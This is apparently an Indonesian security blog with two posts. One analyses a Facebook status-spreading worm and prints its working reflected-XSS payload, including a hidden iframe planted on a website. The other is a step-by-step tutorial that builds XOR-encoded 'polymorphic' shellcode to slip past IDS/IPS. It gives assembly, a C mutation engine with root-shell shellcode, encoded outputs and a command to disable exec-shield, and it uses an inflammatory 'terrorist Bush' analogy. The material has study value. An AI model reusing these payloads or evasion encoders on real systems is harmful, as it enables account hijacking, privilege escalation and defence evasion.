Laman



Tips & Trik Mempercantik Blog

Infolinks In Text Ads

Diposting oleh heart break Sabtu, 16 Juli 2011

Hari ini saya menyadari ada yang tidak beres dengan status teman-teman facebook saya. Banyak yang mendadak statusnya berisi promosi suatu link bahkan hingga berkali-kali. Apa gerangan yang terjadi? Dalam artikel ini saya akan membedah teknik penyebaran status berantai tersebut.

Analisa
Mari kita mulai analisa kita dengan mengambil sample satu URL jebakan, yaitu tinyurl.com/sampahh. Ini adalah url versi pendek yang bila diklik akan melakukan redirect ke url aslinya, yaitu:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
URL tersebut akan saya pecah menjadi 3 bagian:
  • http://m.facebook.com/connect/prompt_feed.php
  • ?display=wap&user_message_prompt=
  • '<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagian pertama adalah URL untuk update status. Bagian kedua adalah query string parameter yang terdiri dari dua parameter, yaitu display dan user_message_prompt. Bagian ketiga adalah isi dari parameter user_message_prompt yang merupakan payload javascript untuk mengubah status secara otomatis.
The Prompt
Sebelum masuk lebih jauh membahas payloadnya, mari kita lihat dulu bentuk tampilan dari URL untuk mengubah status ini. Gambar ini adalah screenshot ketika browser membuka URL:
http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt=Masukkan Status

Dari gambar di atas kini kita memahami fungsi dari parameter user_message_prompt, yaitu sebagai judul pertanyaan/prompt. Agar user mengerti apa yang harus diinputkan, dalam setiap prompt harus diberi judul yang jelas, contohnya: “Input your PIN”, “Enter your Name”, “Password:” dan sebagainya. Silakan anda mencoba bermain-main dengan mengubah-ubah nilai user_message_prompt sesuka anda di address bar dan perhatikan apa yang terjadi.
Reflected Cross Site Scripting
Normalnya user_message_prompt diisi dengan murni teks saja berupa instruksi/petunjuk apa yang harus diinputkan user. Bila parameter user_message_prompt berisi teks murni saja, maka tidak ada yang perlu dikhawatirkan, namun bagaimana bila parameter tersebut diisi dengan kode HTML atau javascript?
Perhatikan apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<font color=red><h1>Hello!!</h1></font>

Perhatikan juga apa yang terjadi bila user_message_prompt diisi dengan kode HTML:
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiEdR9ZOBzJ6Ff3NvHw10A_ki5KKc0P5uKylYYWSpfeldX2cWZp4sZqY9EWKKGssrt3_Ves7becxR4hQtCngpK7R-KXUeDWO-XNVwygQfz9Dnrrn_Srxni3s92e3Ron_Czl9mxb-7Ldvww/s320/Hacked.jpg"/>

Bagaimana bila user_message_prompt tidak hanya diisi dengan kode HTML, tapi diisi dengan kode javascript? Mari kita coba memasukkan javascript sederhana berikut ini:
<script>prompt("Enter your PIN");</script>

Kita sudah melihat bagaimana user_message_prompt tidak hanya bisa diisi dengan normal teks, namun juga bisa diisi dengan kode HTML dan javascript yang dieksekusi browser. Ini adalah vulnerability yang disebut dengan XSS (Cross Site Scripting), lebih tepatnya reflected-XSS (karena kode yang diinjeksikan dalam URL “dipantulkan” kembali sebagai response HTTP).
The Payload
Dalam contoh sebelumnya kita mencoba memasukkan javascript sederhana yang hanya menampilkan prompt input kepada user. Sebenarnya javascript bisa dipakai untuk melakukan hampir apa saja mulai dari yang sekedar iseng seperti mengubah status, sampai yang serius seperti seperti mencuri cookie korban atau take-over komputer korban dengan mengeksploitasi kelemahan pada browsernya. Hal-hal inilah yang disebut dengan payload. Attacker bebas memasukkan payload apa saja yang dia inginkan seperti mengubah status, mencuri cookie dsb.
Perhatikan kembali isi parameter user_message_prompt yang didapat dari tinyurl.com/sampahh:
user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='jangan salahin w kalo lo bakal ngakak ngeliat ni orang :D http://tinyurl.com/sampahh';document.forms[0].submit();}</script>
Bagi pembaca yang jeli tentu merasa aneh, kenapa ada karakter single-quote (‘) sebelum tag script? Perlukah karakter single-quote ini? Jawabannya adalah tidak perlu sama sekali. Saya melihat semua yang membuat url sejenis ini dalam payloadnya selalu ada karakter single-quote di depan tag script. Mungkin pembuatnya hanya ikut-ikutan saja tanpa benar-benar mengerti apa yang terjadi, karena dia mencontoh orang lain memakai single-quote, maka diapun ikut memakai single-quote.
Payload untuk mengubah status sebenarnya sangat sederhana. Berikut ini adalah payload untuk mengubah status di facebook secara otomatis:

Onload adalah event yang terjadi bila suatu halaman web selesai di-load. Baris pertama pada kode di atas artinya meminta browser untuk mengeksekusi sebuah fungsi secara otomatis ketika halaman ini selesai diload. Fungsi yang dimaksud terdiri dari dua baris kode sederhana untuk mengubah nilai textarea message dan melakukan submit form.
Baris kedua dimaksudkan untuk mengubah nilai dari textarea bernama message seperti gambar di bawah ini.

Langkah terakhir adalah memanggil fungsi submit() untuk melakukan submit form. Jadi sangat sederhana cara untuk mengubah status secara otomatis, cukup dua langkah saja, mengisi message dengan isi status, lalu submit, status pun selesai diubah.
Varian Lain dengan IFRAME
Saya juga menemukan varian lain yang memakai iframe. Varian ini lebih berbahaya karena bisa disisipkan dalam web apapun dan bisa dengan mudah melakukan pengubahan status berulang kali. Salah satu teman facebook saya menjadi korban freesmsvoip.com sampai berkali-kali.

Kenapa bisa kena sampai berkali-kali? Mari kita lihat potongan awal source html dari www.freesmsvoip.com.
<iframe id="CrazyDaVinci" style="display:none;" src="http://m.facebook.com/connect/prompt_feed.php?display=wap&user_message_prompt='<script>window.onload=function(){document.forms[0].message.value='Kirim SMS Gratis Ke Semua Operator di www.freesmsvoip.com Wow.. cool guys! coba gihhh!!!';document.forms[0].submit();}</script>"></iframe>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>SMS Gratis Semua Operator - Kirim SMS Gratis Via Internet - SMS Gratis Online - Widget SMS Gratis</title>
<meta name="description" content="Kirim SMS gratis ke semua operator GSM, CDMA se-Indonesia tanpa bayar lewat internet" />
Perhatikan pada baris pertama ada tag iframe dengan src yang juga mengeksploitasi XSS vulnerability pada m.facebook.com/connect/prompt_feed.php. Tag iframe ini tidak hanya ada pada halaman depan saja, namun pada setiap halaman di web tersebut. Akibatnya bila pengunjung hanya melihat halaman depan saja, dia hanya kena satu kali, bila dia juga berkunjung ke halaman-halaman lain, maka dia akan melakukan update status berkali-kali.
Berbeda dengan kasus yang memakai jasa pemendek url seperti tinyurl.com, serangan memakai iframe bisa dilekatkan pada halaman web yang tampak normal, baik hati dan tidak sombong. Dengan maraknya kasus eksploitasi XSS dengan url-shortener, orang akan semakin curiga bila menerima link yang dipendekkan karena user tidak tahu url itu akan dibelokkan ke mana. Menerima url yang dipendekkan kini mirip dengan menerima paket yang tidak jelas apa isinya, buku atau bom. Namun berbeda kasusnya dengan url yang panjang, orang cenderung tidak curiga bila menerima url panjang, apalagi domainnya tampak seperti situs baik-baik.

Diposting oleh heart break

Sebelumnya saya minta maaf dulu karena absen cukup lama menulis di blog ini. Saya terakhir menulis tentang  pembuatan shellcode, untuk local  maupun remote exploit. Seharusnya kali ini saya menulis mengenai cara memakai shellcode itu dalam exploit, namun ada satu hal yang menarik untuk ditulis sebelum masuk ke pembahasan exploit, yaitu semi-polymorphic shellcode. Nanti pada artikel selanjutnya saya akan bahas true-polymorphic shellcode.
Apa itu Polymorphic Shellcode
Secara bahasa polymorphic artinya banyak bentuk. Polymorphic shellcode adalah shellcode yang mempunyai banyak bentuk. Dari satu induk shellcode yang sama bisa dilahirkan banyak sekali shellcode yang berbeda-beda dalam level bit, maksudnya bila dilihat bit per bit semua shellcode tersebut berbeda total, padahal semua berasal dari satu induk.



Polymorphic shellcode diperlukan untuk bisa lolos dari deteksi Intrusion Detection/Prevention System. IDS/IPS memeriksa paket data yang lewat. Bila paket tersebut mengandung data yang dianggap berbahaya, maka satpam akan membunyikan alarm atau mencegah paket tersebut lewat.
Perhatikan ilustrasi berikut ini.
Teroris bernama Bush (bukan nama sebenarnya), sebelumnya pernah berhasil meledakkan sasaran dan membunuh ribuan bayi di Irak,  namun kini fotonya sudah diketahui semua orang sehingga dia tidak leluasa lagi melakukan serangan berikutnya.
Agar serangan berikutnya berjalan lancar, Bush harus mengubah wajahnya dengan operasi plastik, menumbuhkan kumis, mengubah rambut dsb. Dengan wajah yang berbeda total, maka polisi tidak akan mengenali Bush, dan Bush bisa melakukan serangan dengan lancar.
Dalam setiap serangannya Bush harus mengubah wajahnya agar berbeda dari wajahnya pada serangan-serangan sebelumnya.
Begitulah ilustrasi dari polymorphic shellcode, ketika sebuah shellcode sudah pernah dipakai dan signaturenya (ciri-ciri) sudah di-blacklist oleh IDS/IPS, maka shellcode tersebut sudah berkurang efektivitasnya. Bila shellcode yang sama dipakai lagi, maka IDS/IPS akan dengan mudah mendeteksi dan mencegah serangan itu.
Untuk menipu IDS/IPS maka shellcode sebelum dipakai dalam exploit harus mengalami mutasi yaitu mengubah bentuk fisiknya tanpa mengubah fungsinya. Ingat shellcode adalah kumpulan byte opcode yang merepresentasikan instruksi assembly/bahasa mesin. Polymorphic shellcode berarti bahwa instruksi assembly bisa berubah menjadi banyak macam tetapi tidak mengubah fungsi utama dan hasil akhirnya.
Lho kok bisa? Mudah saja, sebagai contoh bayangkan bahwa algoritma utamanya adalah formula A+B*2. Kita bisa mutasi-kan formula itu menjadi banyak bentuk:
  • B*2+A
  • B+B+A
  • B+1+B+A-1
  • B*2+B*3+A-B*2-B
Semua mutasi di atas menghasilkan hasil akhir yang sama persis, walaupun formulanya jauh berbeda. IDS/IPS yang hanya mem-blacklist “A+B*2″ tidak akan menganggap paket berisi “B+B+A” atau “B+1+B+A-1″ sebagai paket berbahaya karena tidak ada dalam kamus blacklistnya, padahal semuanya sama saja hanya bentuknya saja yang berbeda.
Gambar di atas adalah software untuk mengubah bentuk wajah dengan mengganti bentuk mata, alis, rambut, kumis dsb. Semua shellcode bisa di-mutasi menghasilkan shellcode baru yang berbeda namun tetap dengan fungsi yang sama menggunakan script “Mutation Engine”. Mutation engine ini bisa dibayangkan mirip dengan gambar di atas, sebuah software yang mempunyai fasilitas untuk mengubah-ubah bentuk mata, alis, kumis, hidung untuk membuat wajah baru yang berbeda. Namun tentu saja mutation engine melakukan mutasi secara otomatis, tanpa harus menunggu inputan/klik dari pengguna.
Semi Polymorphic Shellcode
Saya akan mulai dengan membuat shellcode yang sifatnya semi polymorphic. Semi disini berarti shellcode yang dihasilkan tidak total berbeda antar hasil mutasi dari satu shellcode yang sama. Masih ada consecutive byte, byte yang berurutan yang bisa dijadikan ciri khas (signature) dari shellcode tersebut.
Semua polymorphic shellcode dibuat dengan menggunakan teknik encoding/decoding dengan prosedur decoder ditempatkan di awal shellcode, hanya bedanya pada semi polymorphic, prosedur decoder relatif statis, tidak ikut ter-mutasi. Sedangkan pada true polymorphic shellcode, prosedur/rutin decodernya juga ikut termutasi sehingga lebih sulit dideteksi IDS/IPS.
Algoritma encode/decode yang dipakai tidak rumit, hanya menggunakan operasi logika XOR. Sifat dari logika XOR adalah reversible, jika suatu bilangan di-XOR dua kali dengan kunci yang sama, maka akan menghasilkan nilai awalnya.
Contoh:
11001 (25) XOR 11100 (28) = 00101 (5) XOR 11100 (28) = 11001 (25)
Kenapa diperlukan decoder? Ingat shellcode adalah kumpulan byte opcode bahasa mesin, jadi bila shellcode tersebut di-encode maka byte opcode menjadi opcode yang berbeda atau menjadi opcode yang tidak dikenal prosesor. Decoder bertugas untuk mengembalikan byte shellcode yang ter-encode menjadi normal kembali sehingga bisa dikenal dan dieksekusi prosesor.
Contohnya bila dalam shellcode mengandung byte opcode \xCD\x80 yang dikenal prosesor sebagai interrupt no 80 hexa. Dalam proses mutasi, opcode CD80 di-encode dengan XOR 5 menjadi \xC8\x85 yang tidak dikenal oleh prosesor (bukan instruksi yang valid). Agar shellcode bisa dieksekusi maka decoder harus mengembalikan \xC8\x85 menjadi normal kembali \xCD\x80.
Gambar di atas memperlihatkan proses mutasi dari original shellcode menjadi shellcode yang telah termutasi. Mutation engine di atas menggunakan satu decoder yang sama dan menghasilkan banyak shellcode sesuai dengan key yang dipakai. Key ini dipakai untuk encode dan decode menggunakan operasi logika XOR. Setiap shellcode hasil mutation engine terdiri dari decoder di awal dan shellcode yang ter-encode.
Menghindari Karakter Terlarang
Umumnya shellcode di-injeksi melalui input program sebagai tipe data string. Secara internal string adalah array of character yang diakhiri dengan karakter NULL (‘\0′). Byte NULL tidak boleh ada dalam shellcode karena bisa membuat shellcode gagal di-injeksi secara penuh. Byte NULL adalah salah satu yang disebut dengan ‘bad characters’, yaitu karakter yang terlarang ada dalam shellcode.
Bad characters bisa berbeda-beda, tergantung dari aplikasi yang akan di-exploit. Bila dalam aplikasi tersebut, keberadaan karakter new line (\n) dan enter (\r) membuat shellcode gagal terinjeksi dengan sempurna, maka character itu jangan sampai ada dalam shellcode.
Namun terkadang sulit untuk menghindari adanya karakter terlarang dalam shellcode. Teknik encoding shellcode ini bisa juga dipakai untuk menghilangkan karakter terlarang. Jadi teknik ini tidak hanya berguna untuk menghindari tertangkap IDS/IPS tapi juga membantu menghindari karakter terlarang.
JMP/CALL GetPC
Instruksi yang pertama dieksekusi adalah decoder. Decoder ini bertugas untuk melakukan decode dengan operator XOR menggunakan kunci yang sama pada waktu encoding. Masalahnya adalah shellcode ini bisa diload di alamat memori berapapun, jadi tidak bisa di-harcode lokasinya sejak awal dalam rutin decoder. Decoder harus tahu pada saat dieksekusi (run-time), di mana lokasi memori tempat penyimpanan shellcode ter-encode.
Teknik mencari lokasi memori dirinya ketika dieksekusi ini disebut dengan GETPC (get program counter/EIP). Trik yang biasa dipakai adalah menggunakan instruksi JMP dan CALL. Decoder akan JMP ke lokasi tepat di atas (sebelum) shellcode yang ter-encode. Pada lokasi tersebut ada instruksi CALL ke lokasi sesudah instruksi JUMP tadi. CALL akan mem-push ke dalam stack return address, yaitu alamat memori instruksi sesudah CALL. Karena lokasi shellcode ter-encode tepat sesudah instruksi CALL, maka dalam puncak stack akan berisi alamat memori (EIP/PC) shellcode ter-encode.
Tidak seperti umumnya instruksi CALL yang diikuti dengan RET, dalam trik ini kita tidak memerlukan instruksi RET karena kita tidak sedang benar-benar memanggil subroutine. Instruksi CALL dimanfaatkan untuk mengambil EIP/PC dari instruksi sesudah CALL.
Gambar di atas menunjukkan alur JMP/CALL untuk mendapatkan lokasi memori shellcode ter-encode. Pertama-tama decoder akan JMP ke lokasi point1, yang di sana ada instruksi CALL ke point2. Tepat di bawah CALL point2 adalah lokasi memori di mana shellcode ter-encode berada. Jadi ketika CALL dieksekusi lokasi encoded_shellcode akan di-push ke dalam stack sebagai return address dari instruksi CALL. Pada point2, terdapat instruksi POP ESI yang maksudnya adalah mengambl return address instruksi CALL pada point1, yaitu lokasi memori shellcode ter-encode.
Assembly Decoder
Kita langsung saja buat kode assembly yang melakukan decoding dengan operasi logika XOR. Kita memanfaatkan teknik GETPC JMP/CALL seperti alur pada gambar di atas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
global _start
 
_start:
jmp short point1
 
point2:
pop esi ; ESI = sebagai index lokasi byte yang akan di-decode
xor ecx,ecx ; ECX = 0
mov cl,0x0 ; ECX = shellcode size
 
decode_sc:
xor byte[esi],0x0 ; XOR 1 byte memori pada lokasi yang ditunjuk ESI
inc esi ; ESI maju 1 byte, decode byte berikutnya
loop decode_sc ; Loop sebanyak ECX (ukuran shellcode)
jmp short encoded_sc ; decode selesai, jump and execute shellcode!
 
point1:
call point2 ; call, push address of encoded_sc ke stack
encoded_sc: ; encoded shellcode di sini
Proses decoding di atas dilakukan dengan melakukan XOR dalam loop yang dimulai dari lokasi encoded_sc (yang disimpan di ESI) sebanyak ukuran encoded shellcode (yang disimpan di ECX). Sebelumnya lokasi encoded_sc diketahui dengan melakukan trik JMP/CALL GETPC dan lokasi encoded_sc disimpan di register ESI. Setelah loop selesai, shellcode telah kembali normal dan siap dieksekusi. Jadi setelah loop, ada instruksi JUMP ke lokasi encoded_sc.
Sekarang kita akan mengambil opcodenya dengan cara compile, link dan melakukan objdump.
$ nasm -f elf decoderjmpcall.asm
$ ld -o decoderjmpcall decoderjmpcall.o
$ objdump -d ./decoderjmpcall
 
./decoderjmpcall:     file format elf32-i386
 
Disassembly of section .text:
 
08048060 <_start>:
 8048060:       eb 0d                   jmp    804806f <point1>
 
08048062 <point2>:
 8048062:       5e                      pop    %esi
 8048063:       31 c9                   xor    %ecx,%ecx
 8048065:       b1 00                   mov    $0x0,%cl
 
08048067 <decode_sc>:
 8048067:       80 36 00                xorb   $0x0,(%esi)
 804806a:       46                      inc    %esi
 804806b:       e2 fa                   loop   8048067 <decode_sc>
 804806d:       eb 05                   jmp    8048074 <encoded_sc>
 
0804806f <point1>:
 804806f:       e8 ee ff ff ff          call   8048062 <point2>
Sedikit penjelasan mengenai opcode di atas untuk menambah pengetahuan assembly. Di awal ada instruksi “JMP point1″. Opcode untuk JMP adalah 0xEB. Perhatikan point1 terletak 13 byte setelah instruksi ini, oleh karena itu opcodenya adalah “0xEB 0x0D”, yang artinya Jump sejauh 0x0D hex (13) byte setelah instruksi ini.
Sebagai ilustrasi perhatikan output objdump di atas, instruksi “JMP point1″ ada di lokasi memori 0×8048060, dan kita tahu instruksi “JMP point1″ memakan ruang 2 byte (0xEB dan 0x0D), maka tujuan lompatannya adalah 0×8048060 + 2 + 13 = 0x804806f. Sekali lagi ingat, dihitungnya dari lokasi sesudah instruksi JMP, yaitu 0×8048062. Kemudian dihitung 0x0D (13 byte) dari lokasi 0×8048062 menjadi 0x804806f.
Sedangkan pada point1, ada instruksi “CALL point2″ yang memakan ruang 5 byte (0xE8 0xEE 0xFF 0xFF 0xFF). 0xE8 adalah opcode untuk CALL, sedangkan 0xEE 0xFF 0xFF 0xFF dalam notasi little-endian adalah 0xFFFFFFEE yang merupakan representasi bilangan signed integer -18.
Kenapa kok jaraknya -18 ? Perhatikan lagi output objdump di atas. Ingat, mirip dengan JMP jarak lompatan dihitung dari lokasi sesudah instruksi CALL. Lokasi memori sesudah instruksi “CALL point2″ adalah 0x804806f+5 = 0×8048074. Kalau kita hitung 18 byte sebelum 0×8048074, maka kita dapatkan lokasi 0×8048062, yang tidak lain adalah lokasi point2.
Sekarang kita extract opcodenya dan menuliskannya dalam notasi shellcode hexadecimal.
$ objdump -d ./decoderjmpcall|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff"

Pada gambar di atas terlihat opcode dari decoder yang akan kita pakai. Perhatikan ada dua byte yang berwarna biru, yaitu ukuran shellcode pada index ke-6 dan kunci XOR pada index ke-9. Nantinya hanya dua byte itu saja yang berubah dalam setiap mutasi shellcode, byte selain itu selalu sama oleh karena itu kita tidak mengatakan true-polymorphic tetapi hanya semi-polymorphic.
Encoder: Mutation Engine
Kini setelah kita memiliki opcode decoder, kita bisa mulai membuat mutation engine, yaitu script yang melakukan encoding dan menghasilkan encoded shellcode. Kita membuat dalam bahasa C, dan sebagai induk kita gunakan shellcode yang kita pakai dalam local exploit di artikel “belajar membuat shellcode part 1“.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
#include <sys/time.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
 
int getnumber(int quo) { 
 int seed;
 struct timeval tm;
 gettimeofday( &tm, NULL );
 seed = tm.tv_sec + tm.tv_usec;
 srandom( seed );
 return (random() % quo);
}
 
void print_code(char *data) { 
 int i,l=0;
 for (i = 0; i < strlen(data); ++i) {
  if (l==0) {
   printf("\"");
  }
  if (l >= 15) {
    printf("\"\n\"");
    l = 0;
  }
  printf("\\x%02x", ((unsigned char *)data)[i]);
  ++l;
 }
 printf("\";\n\n");
}
 
int main() { 
 char shellcode[] =
  "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x31\xc0"
  "\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89"
  "\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";
 int count;
 int number = getnumber(200); 
 int badchar = 0; 
 int ldecoder; 
 int lshellcode = strlen(shellcode); 
 char *result;
 
 char decoder[] = 
  "\xeb\x0d\x5e\x31\xc9\xb1\x00\x80\x36\x00\x46\xe2\xfa"
  "\xeb\x05\xe8\xee\xff\xff\xff";
 decoder[6] += lshellcode; 
 decoder[9] += number; 
 ldecoder = strlen(decoder); 
 
 do { 
  if(badchar == 1) { 
   number = getnumber(10);
   decoder[16] += number;
   badchar = 0;
  } 
  for(count=0; count < lshellcode; count++) { 
   shellcode[count] = shellcode[count] ^ number; 
   if(shellcode[count] == '\0') { 
    badchar = 1; 
   }
  }
 } while(badchar == 1); 
 result = malloc(lshellcode + ldecoder);
 strcpy(result,decoder); 
 strcat(result,shellcode); 
 
 printf("Key: %02x\n",number);
 print_code(result); 
}
Sekarang kita coba jalankan dan kita lihat hasil mutasinya sebanyak 3 kali.
$ ./encoder
Key: 29
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x29\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x18\xe9\x99\x6f\x18\xf2\x18\xe0\xe4\xa9"
"\x18\xe9\x79\x41\x06\x06\x5a\x41\x41\x06\x4b\x40\x47\xa0\xca"
"\x79\x7a\xa0\xc8\x18\xfb\x99\x22\xe4\xa9";
$ ./encoder
Key: 1a
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a"
"\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9"
"\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a";
$ ./encoder
Key: 45
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x45\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x74\x85\xf5\x03\x74\x9e\x74\x8c\x88\xc5"
"\x74\x85\x15\x2d\x6a\x6a\x36\x2d\x2d\x6a\x27\x2c\x2b\xcc\xa6"
"\x15\x16\xcc\xa4\x74\x97\xf5\x4e\x88\xc5";

Pada gambar di atas, mutation engine menghasilkan 3 mutant dengan 3 kunci yaitu 29h, 1Ah, 45h. Pada bagian decoder, hampir tidak ada bedanya, yang berbeda hanyalah pada byte yang menyimpan kunci XOR dan shellcode size.
Kunci XOR disimpan di decoder pada opcode “\x80\x36\x00″, yang berarti instruksi assembly “xor byte[esi],0×0″. Bila \x00 pada opcode “\x80\x36\x00″ diganti menjadi x29, maka berarti kita juga memodifikasi instruksi assemblynya menjadi “xor byte[esi],0×29″. Begitu juga bila kita mengganti dengan \x1A dan \x45.
Opcode “\xb1\x23″ pada decoder adalah shellcode size, yang dalam assembly berarti “mov cl,0×23″. Dalam program tersebut kebetulan kita memakai shellcode berukuran 35 byte (23h). Bila shellcode yang dipakai ukurannya adalah 50 byte, maka mutation engine akan mengganti menjadi “\xb1\x32″ yang dalam assembly berarti “mov cl,0×32″.
Sedangkan untuk bagian encoded shellcode yang berwarna ungu, dari 3 kali dijalankan, mutation engine menghasilkan 3 encoded shellcode yang jauh berbeda, inilah yang disebut dengan polymorphic. Namun tentu saja karena decodernya statik, hasilnya tidak true-polymorphic, tapi cukup kita sebut semi-polymorphic saja.

Sekarang kita coba execute shellcode hasil mutasi dengan kunci 1Ah di atas. Saya akan gunakan program kecil dalam bahasa C di bawah ini.
1
2
3
4
5
6
7
8
char shellcode[] =
"\xeb\x0d\x5e\x31\xc9\xb1\x23\x80\x36\x1a\x46\xe2\xfa\xeb\x05"
"\xe8\xee\xff\xff\xff\x2b\xda\xaa\x5c\x2b\xc1\x2b\xd3\xd7\x9a"
"\x2b\xda\x4a\x72\x35\x35\x69\x72\x72\x35\x78\x73\x74\x93\xf9"
"\x4a\x49\x93\xfb\x2b\xc8\xaa\x11\xd7\x9a";
int main(void) {
        asm("jmp shellcode");
}
Kita akan debug dengan GDB untuk melihat dalam memori apa yang terjadi sebelum dan sesudah decoder dieksekusi.
Jangan lupa matikan dulu exec-shield dengan cara: echo “0″ > /proc/sys/kernel/exec-shield. Bila anda memakai kernel-PAE maka shellcode ini tidak bisa dieksekusi karena pada kernel-PAE ada fitur NX-bit.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
$ gcc -o execsc execsc.c
$ gdb ./execsc
(gdb) set disassembly-flavor intel
(gdb) x/25i &shellcode
0x8049540 <shellcode>:  jmp    0x804954f <shellcode+15>
0x8049542 <shellcode+2>:        pop    esi
0x8049543 <shellcode+3>:        xor    ecx,ecx
0x8049545 <shellcode+5>:        mov    cl,0x23
0x8049547 <shellcode+7>:        xor    BYTE PTR [esi],0x1a
0x804954a <shellcode+10>:       inc    esi
0x804954b <shellcode+11>:       loop   0x8049547 <shellcode+7>
0x804954d <shellcode+13>:       jmp    0x8049554 <shellcode+20>
0x804954f <shellcode+15>:       call   0x8049542 <shellcode+2>
0x8049554 <shellcode+20>:       sub    ebx,edx
0x8049556 <shellcode+22>:       stos   BYTE PTR es:[edi],al
0x8049557 <shellcode+23>:       pop    esp
0x8049558 <shellcode+24>:       sub    eax,ecx
0x804955a <shellcode+26>:       sub    edx,ebx
0x804955c <shellcode+28>:       xlat   BYTE PTR ds:[ebx]
0x804955d <shellcode+29>:       call   0x3535:0x724ada2b
0x8049564 <shellcode+36>:       imul   esi,DWORD PTR [edx+114],0x74737835
0x804956b <shellcode+43>:       xchg   ebx,eax
0x804956c <shellcode+44>:       stc
0x804956d <shellcode+45>:       dec    edx
0x804956e <shellcode+46>:       dec    ecx
0x804956f <shellcode+47>:       xchg   ebx,eax
0x8049570 <shellcode+48>:       sti
0x8049571 <shellcode+49>:       sub    ecx,eax
0x8049573 <shellcode+51>:       stos   BYTE PTR es:[edi],al
(gdb) b *0x804954d
Breakpoint 4 at 0x804954d
Di atas adalah hasil disassembly dari shellcode sebelum decoder dijalankan. Instruksinya bukan instruksi shellcode original. Sekarang kita coba run dan lihat instruksi assembly hasil decodingnya.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
(gdb) run
Starting program: /home/admin/overflow/execsc
(no debugging symbols found)
(no debugging symbols found)
(no debugging symbols found)
 
Breakpoint 4, 0x0804954d in shellcode ()
(gdb) x/25i &shellcode
0x8049540 <shellcode>:  jmp    0x804954f <shellcode+15>
0x8049542 <shellcode+2>:        pop    esi
0x8049543 <shellcode+3>:        xor    ecx,ecx
0x8049545 <shellcode+5>:        mov    cl,0x23
0x8049547 <shellcode+7>:        xor    BYTE PTR [esi],0x1a
0x804954a <shellcode+10>:       inc    esi
0x804954b <shellcode+11>:       loop   0x8049547 <shellcode+7>
0x804954d <shellcode+13>:       jmp    0x8049554 <shellcode+20>
0x804954f <shellcode+15>:       call   0x8049542 <shellcode+2>
0x8049554 <shellcode+20>:       xor    eax,eax
0x8049556 <shellcode+22>:       mov    al,0x46
0x8049558 <shellcode+24>:       xor    ebx,ebx
0x804955a <shellcode+26>:       xor    ecx,ecx
0x804955c <shellcode+28>:       int    0x80
0x804955e <shellcode+30>:       xor    eax,eax
0x8049560 <shellcode+32>:       push   eax
0x8049561 <shellcode+33>:       push   0x68732f2f
0x8049566 <shellcode+38>:       push   0x6e69622f
0x804956b <shellcode+43>:       mov    ebx,esp
0x804956d <shellcode+45>:       push   eax
0x804956e <shellcode+46>:       push   ebx
0x804956f <shellcode+47>:       mov    ecx,esp
0x8049571 <shellcode+49>:       xor    edx,edx
0x8049573 <shellcode+51>:       mov    al,0xb
0x8049575 <shellcode+53>:       int    0x80
Karena kita ingin melihat hasil decodingnya, maka kita pasang breakpoint pada titik shellcode+13 (0x804954d). Pada titik tersebut ada instruksi “jmp 0×8049554 “, yaitu instruksi untuk mengeksekusi shellcode yang telah di-decode. Setelah breakpoint dipasang, kita bisa jalankan program dengan run. Ketika breakpoint dicapai, kita bisa lihat hasil decodingnya pada lokasi shellcode+20 sampai shellcode+53.
Sebagai contoh perhatikan pada shellcode+20, instruksi sebelum decode adalah “sub ebx,edx”, instruksi itu bukan instruksi shellcode originial. Namun setelah decoding selesai pada lokasi tersebut menjadi “xor eax,eax” yang merupakan instruksi shellcode yang asli. Contoh lain, pada lokasi shellcode+28 sebelum decode instruksinya adalah “xlat BYTE PTR ds:[ebx]“, namun setelah decode kembali normal menjadi “int 0×80″.
Tabel di bawah ini menunjukkan beberapa perbedaan antara instruksi assembly dari shellcode original dengan instruksi assembly yang telah ter-encode. Kolom “Before Decoding” adalah assembly shellcode yang telah di-encode, sedangkan kolom “After Decoding” menunjukkan assembly shellcode yang original setelah decoder selesai bekerja.
